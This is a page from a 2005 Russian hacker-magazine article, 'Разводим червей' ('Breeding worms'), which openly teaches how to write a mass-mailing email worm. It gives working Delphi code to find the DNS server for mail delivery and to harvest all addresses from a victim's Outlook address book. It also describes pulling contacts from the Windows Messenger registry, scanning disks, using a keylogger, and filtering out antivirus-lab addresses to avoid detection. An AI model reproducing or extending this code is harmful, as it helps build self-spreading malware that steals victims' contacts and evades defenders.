Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #84, ДЕКАБРЬ 2005 г.

Разводим червей

Ms-Rem (Ms-Rem@yandex.ru)

Хакер, номер #084, стр. 084-118-5


function GetDNSServer(): dword;

var

FixedInfoSize : Integer;

FixedInfo : PFixedInfo;

PDNS :PIPAddrString;

GetNetworkParams : function(FI:PFixedInfo; var BufLen: Integer): Integer; stdcall;

begin

Result := 0;

GetNetworkParams := GetProcAddress(LoadLibrary('iphlpapi.dll'),

'GetNetworkParams');

if @GetNetworkParams = nil then Exit;

FixedInfoSize := 1024;

GetMem(FixedInfo, FixedInfoSize);

if GetNetworkParams(FixedInfo, FixedInfoSize) = ERROR_SUCCESS then

begin

PDNS := @FixedInfo^.DNSServerList;

if PDNS <> nil then Result := inet_addr(PDNS^.IPAddress);

end;

FreeMem(FixedInfo);

end;

Работающий пример MX-резолвера ты можешь найти на диске.

[получение адресов для рассылки]

Перед тем как начинать рассылку копий червя, неплохо было бы определить адреса, по которым мы будем его рассылать. Для этого нам нужно сначала вытащить все адреса из адресной книги юзера, а затем и просканировать все файлы на дисках на их наличие.

Попробуем для начала достать адреса из адресной книги Outlook. Нужная нам информация хранится в .wab файлах, и в виду их простой стуктуры будет нетрудно их распарсить вручную. Вот пример кода, сохраняющего все адреса из wab-файла в файл Emails.txt:

procedure ReadWAB(WABFile: string);

var

F : file;

I : dword;

S : string;

N : array[1..5] of Char;

Buf : array[1..500] of Char;

R : TextFile;

begin

AssignFile(R,'Emails.txt');

ReWrite(R);

AssignFile(F,WABFile);

Reset(F,1);

if IOResult=0 then begin

repeat

BlockRead(F,N,2);

if N[1]+N[2]=#03#48 then begin

BlockRead(F,Buf,Ord(N[2])+30);

S:='';

for I:=1 to Ord(N[2])+30 do S:=S+Buf[I];

Delete(S,1,3);

I:=Pos(#00#00#00,S);

if I>0 then SetLength(S,I-1);

for I:=1 to Ord(N[2]) do if S[I]=#00 then Delete(S,I,1);

for I:=1 to Length(S) do

if S[I]<chr(45) then begin

SetLength(S,I-1);

Break;

end;

if (Pos('@',S)>0)and(Pos('.',S)>0) then

writeln(r,UpperCase(S));

end else Seek(F,FilePos(F)-1);

until FileSize(F)-FilePos(F)<6;

CloseFile(F);

end;

CloseFile(R);

end;

Ну, и совсем просто будет извлечь адреса из Windows Messenger, так как они просто хранятся в реестре, в разделе HKEY_CURRENT_USER\Software\Microsoft\MessengerService\ListCache\.NET Messenger Service, откуда их можно прочитать, просто перечислив соответствующие ключи. Как это сделать, я думаю, ты и сам догадаешься.

Следующим этапом после адресных книг будет поиск мыл в файлах на диске. Сделать это очень просто, поэтому приводить примеров я не буду, но подскажу, что для реализации этого тебе хватит API-функций FindFirstFile, FindNextFile, FindClose, CreateFile, ReadFile и CloseHandle, ну и еще обязательно понадобится немного мозгов (они пригодятся для того, чтобы сообразить, как использовать регулярные выражения для поиска мыл - прим. gorl'а). Конечно, помимо этого, можно извлекать адреса из адресных книг других программ, можно даже использовать кейлогер и отслеживать вводимые юзером данные, все эти приемы повышают эффективность червя и увеличивают скорость его размножения. Очень важный момент при получении списка адресов - это его фильтрация. Ты ведь не хочешь, чтобы твой червь сам отправился прямиком в лабораторию Касперского, поэтому следует сделать список слов-исключений, которые не должны встречаться в адресах, пригодных для рассылки. Все адреса с этими словами просто следует не включать в базу.

Назад на стр. 084-118-4  Содержание  Вперед на стр. 084-118-6